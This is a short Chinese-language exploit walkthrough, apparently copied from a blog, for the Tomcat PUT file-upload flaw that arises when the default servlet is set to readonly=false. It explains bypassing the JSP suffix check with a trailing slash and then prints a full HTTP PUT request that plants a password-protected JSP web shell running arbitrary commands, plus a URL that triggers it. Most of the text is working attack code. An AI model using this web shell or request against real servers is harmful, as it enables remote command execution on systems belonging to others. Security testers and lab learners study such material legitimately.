Burpsuite抓包—>发包—>写入shell—>命令执行
Tomcat设置了写许可权(readonly = false),这导致我们可以将文件写入服务器。
default
org.apache.catalina.servlets.DefaultServlet
debug
0
listings
false
readonly
false
1
尽管Tomcat在某种程度上检查了文件后缀(无法直接编写jsp),但我们仍然可以通过某些文件系统功能(例如/
在Linux中使用)来绕过该限制。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
http://192.168.68.132:8080/1.jsp?pwd=023&i=ls
https://www.cnblogs.com/qianxiao996/p/13574653.html